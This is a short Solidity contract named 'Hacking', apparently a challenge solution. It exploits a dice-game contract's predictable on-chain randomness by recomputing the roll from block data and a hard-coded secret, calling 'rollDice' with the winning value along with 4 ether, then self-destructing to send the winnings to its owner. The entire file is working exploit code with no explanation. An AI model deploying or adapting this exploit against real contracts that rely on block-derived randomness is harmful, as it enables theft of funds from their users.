pragma solidity ^0.5.4;

contract Hacking {
    uint big_secret = 0x91f40773b6db987faa1b19cc367e0a6931414e9558f5dbe23198a988fc4a64f5;
    address payable owner;
    address payable challengeAddress;
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not owner");
        _;
    }

    constructor (address payable _challengeAddress) {
        owner = msg.sender;
        challengeAddress = _challengeAddress;
    }

    function pwn() external payable {
        require(msg.value == 4 ether, "Must supply 4 ether");
        uint8 contract_roll = PRNG();
        uint8 user_roll = 42 - contract_roll;

        (bool success, ) = challengeAddress.call.value(msg.value)(
            abi.encodeWithSignature("rollDice(uint8)", user_roll)
        );

        if (!success) revert();
    }

    function PRNG() private view returns (uint8) {
        return uint8(uint(keccak256(abi.encodePacked(address(this), block.coinbase, block.timestamp, big_secret))));
    }

    function withdraw() external onlyOwner {
        selfdestruct(owner);
    }

    function() external payable { }
}